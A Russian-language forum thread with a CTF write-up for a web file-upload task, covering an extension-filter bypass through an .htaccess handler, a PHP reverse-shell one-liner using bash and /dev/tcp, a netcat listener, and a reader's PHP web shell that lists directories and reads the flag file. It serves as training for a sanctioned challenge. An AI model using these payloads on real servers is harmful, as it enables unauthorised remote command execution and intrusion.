CTF Codeby Games - Файлообменник [Writeup]

stensil4rt

One Level
19.07.2022
3
12
BIT
184
Это моя первая статья на данном Форуме, поэтому прошу не кидаться тапками.

Рассмотрим таск под названием - Файлообменник из категории Веб.
Ссылка на задание: Игры Кодебай | CTF-платформа
Данный таск интересен тем, что он как бы и легкий, а как бы и нет. В нем необходимо, просто внимательно смотреть =)

1703575462212.png


И так приступим:
Начнем с того, что сначала мы смотрим что дано в самом задании, кроме IP и порта, иногда там могут быть хинты. В данном таске есть файл — task.zip, качаем его — он нам еще пригодиться, не просто же он нам дан.

1703575477488.png


Заходим на IP:порт и первое что мы замечаем, есть возможность загрузить файл. Сразу приходим на ум, что есть уязвимость вида: File Upload. Забегая веред, она там есть.

1703575546010.png


Пытаемся ее воспользоваться. Открываем в BurpSuite, и грузим файл вида file.php с содержимым:

PHP:
<?php echo system("bash -c 'sh -i >& /dev/tcp/IP/1234 0>&1'"); ?>

Что мы видим, файлы с расширением php грузить нельзя.

1703575603488.png


Значит надо изменить расширение файла, воспользовавшись Google, найдем на популярном сайте book.hacktricks.xyz (File Upload) расширения PHP.

1703575682483.png


Воспользуемся расширением *.phtm

1703575694736.png


Файл загрузился. Открываем данный файл в браузере, и видим, что данный файл не исполняется, значит данная директория заблокирована на исполнение файлов.

1703575725526.png

Первое, что приходит в голову, файл .htaccess. Вот тут нам и понадобиться тот файл (task.zip). Находим файл .htaccess и анализируем. Видим 20 строчку, где сказано, что нам разрешено загрузку файлов с расширением .x-httpd-php.

1703575753031.png


Воспользуемся этим.

1703575770461.png


Запускаем у себя NetCat (nc -lnvp 1234) и открываем файл.

1703575805997.png

1703575812534.png


Попадаем на сервак и ищем файл fl4g.txt, где и лежит наш флаг.

1703575833550.png


Надеюсь статья была полезна для Вас! Если найдете неточности или ошибки - обязательно напишите об этом в комментариях к статье.
 

Вложения

  • 1703575657021.png
    1703575657021.png
    9,9 КБ · Просмотры: 116

N1GGA

Codeby Team
Администратор
16.07.2018
370
357
BIT
522
Видим 20 строчку, где сказано, что нам разрешено загрузку файлов с расширением .x-httpd-php.
Данное правило сообщает серверу немного другое: что все файлы с расширением .x-httpd-php должны быть обработаны как PHP-скрипты.
 
  • Нравится
Реакции: morozko

morozko

Green Team
03.01.2024
13
17
BIT
239
Здравствуйте! Классный Writeup, я осознал, для чего нужен файл .htaccess и почему мы меняем расширение загружаемого файла на .x-httpd-php но на предпоследнем шаге - "Запускаем у себя NetCat (nc -lnvp 1234) и открываем файл." беда, скрипт внутри файла не отрабатывает. Я не попадаю на сервер страница долго обновляется и все - белый экран. Если вам не сложно направьте меня в какую сторону думать)? Proxy я отключаю если что перед тем как переходить по ссылке с x-httpd-php файлом.
 

vov4ick

Green Team
11.12.2022
55
126
BIT
968
Здравствуйте! Классный Writeup, я осознал, для чего нужен файл .htaccess и почему мы меняем расширение загружаемого файла на .x-httpd-php но на предпоследнем шаге - "Запускаем у себя NetCat (nc -lnvp 1234) и открываем файл." беда, скрипт внутри файла не отрабатывает. Я не попадаю на сервер страница долго обновляется и все - белый экран. Если вам не сложно направьте меня в какую сторону думать)? Proxy я отключаю если что перед тем как переходить по ссылке с x-httpd-php файлом.
Вам нужно поднять свой сервер или настроить туннель, чтобы поймать соединение. вписывая в скрипт ip и port своего сервера. В данной статье это не описывается.
 
  • Нравится
Реакции: morozko

stensil4rt

One Level
19.07.2022
3
12
BIT
184
Здравствуйте! Классный Writeup, я осознал, для чего нужен файл .htaccess и почему мы меняем расширение загружаемого файла на .x-httpd-php но на предпоследнем шаге - "Запускаем у себя NetCat (nc -lnvp 1234) и открываем файл." беда, скрипт внутри файла не отрабатывает. Я не попадаю на сервер страница долго обновляется и все - белый экран. Если вам не сложно направьте меня в какую сторону думать)? Proxy я отключаю если что перед тем как переходить по ссылке с x-httpd-php файлом.
Да, как это уже сказал vov4ick, в данной статье не описывается настройка своего сервера, который бы принял соединение от веб-сервера. Попробуйте найти в Интернете, что такое ngrok, думаю Вам это поможет.
 
  • Нравится
Реакции: morozko и vov4ick

morozko

Green Team
03.01.2024
13
17
BIT
239
Да, как это уже сказал vov4ick, в данной статье не описывается настройка своего сервера, который бы принял соединение от веб-сервера. Попробуйте найти в Интернете, что такое ngrok, думаю Вам это поможет.
Если найдете свободное время, будьте добры объясните подробней про свой сервер и в какую часть скрипта вписывать ip port. У меня имеется VDS я через него VPN поднял, также использовал его в задании из категории Quest которое рассматривается в Обучении CTF. Я путаюсь - слишком много серверов XD. ProxyFoxy это же тоже прокси сервер который мы используем в Burp для перехвата, python3 -m http.server 9898 (тоже сервер) ну и мой VDS тоже сервер.
Про скрипт <?php echo system("bash -c 'sh -i >& /dev/tcp/IP/port 0>&1'"); ?> ---> <?php echo system("bash -c 'sh -i >& /dev/tcp/0.0.0.0:9898 0>&1'"); ?> верно ли я понял?
 

Paladin

Red Team
10.10.2021
102
457
BIT
502
Если найдете свободное время, будьте добры объясните подробней про свой сервер и в какую часть скрипта вписывать ip port. У меня имеется VDS я через него VPN поднял, также использовал его в задании из категории Quest которое рассматривается в Обучении CTF. Я путаюсь - слишком много серверов XD. ProxyFoxy это же тоже прокси сервер который мы используем в Burp для перехвата, python3 -m http.server 9898 (тоже сервер) ну и мой VDS тоже сервер.
 
  • Нравится
Реакции: ssh_402 и morozko

ZevSS

One Level
17.12.2023
3
4
BIT
156
Добрый вечерок всем!
Я тут тоже недавно ковырялся с этой задачкой. Из исходников было понятно про запрет на загрузку файлов с определенными расширениями, но в итоге гугление и приложенный к таску файл .htaccess помогли мне решить вопрос с исполнением php-кода. А вот дальше я пошел более простым путем, чем автор. Честно говоря даже не думал о таком способе решения, как это сделал автор - сложно для новичка (я про себя) - что-то там (сервер) поднимать, прослушивать... :eek::)
Просто сделал вот так, как в коде ниже (команды 'ls <параметр>' добавлял по очереди) и, таким образом добрался до флага.

HTML:
Content-Disposition: form-data; name="file"; filename="zev1.x-httpd-php"
Content-Type: application/octet-stream

<!DOCTYPE html>
<html><head><title>Zevs Access</title></head>
<body>
    <h1>Zevs Access test</h1>

<?php
// Список 1. Тут вообще много всего лишнего получим... Заходить не пробовал туда куда не нужно :)
echo system('ls /');
echo '<br><br>';
// Список 2.
echo system('ls ../');
echo '<br><br>';
// Список 3.
echo system('ls ../../');
echo '<br><br>';
// Наш файлик с флагом.
echo system('cat ../../fl4g.txt');
?>
    
</body></html>
 

vov4ick

Green Team
11.12.2022
55
126
BIT
968
Добрый вечерок всем!
Я тут тоже недавно ковырялся с этой задачкой. Из исходников было понятно про запрет на загрузку файлов с определенными расширениями, но в итоге гугление и приложенный к таску файл .htaccess помогли мне решить вопрос с исполнением php-кода. А вот дальше я пошел более простым путем, чем автор. Честно говоря даже не думал о таком способе решения, как это сделал автор - сложно для новичка (я про себя) - что-то там (сервер) поднимать, прослушивать... :eek::)
Просто сделал вот так, как в коде ниже (команды 'ls <параметр>' добавлял по очереди) и, таким образом добрался до флага.

HTML:
Content-Disposition: form-data; name="file"; filename="zev1.x-httpd-php"
Content-Type: application/octet-stream

<!DOCTYPE html>
<html><head><title>Zevs Access</title></head>
<body>
    <h1>Zevs Access test</h1>

<?php
// Список 1. Тут вообще много всего лишнего получим... Заходить не пробовал туда куда не нужно :)
echo system('ls /');
echo '<br><br>';
// Список 2.
echo system('ls ../');
echo '<br><br>';
// Список 3.
echo system('ls ../../');
echo '<br><br>';
// Наш файлик с флагом.
echo system('cat ../../fl4g.txt');
?>
   
</body></html>
Такое решение тоже имеет смысл быть в данном случае!
 
  • Нравится
Реакции: morozko

ssh_402

One Level
05.03.2023
2
3
BIT
82
Добрый вечер, большое спасибо за статью, очень помогло при решении таска.
 
  • Нравится
Реакции: itcub, ZevSS и vov4ick

xverizex

Green Team
29.12.2022
25
14
BIT
227
А я так и не решил эту задачу. Изучал код. Даже и не подумал взглянуть на другие расширения, думал, что там на все php файлы запрет. Пробовал с подменой .php%00 в именах файлов. Пробовал html файл загрузить со скриптом js, но ajax GET запрос не хотел идти вверх по каталогу. Последнее до чего додумался, это написать file.apurva%2Ephp, он как бы разрешал загружать такой файл, но в uploads сохранялся именно в таком виде, как я привел в примере. А оказывается, что нужно было в htaccess посмотреть, хотя я в него вроде смотрел, но ничего такого не обнаружил, хотя может это было из другого задания.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!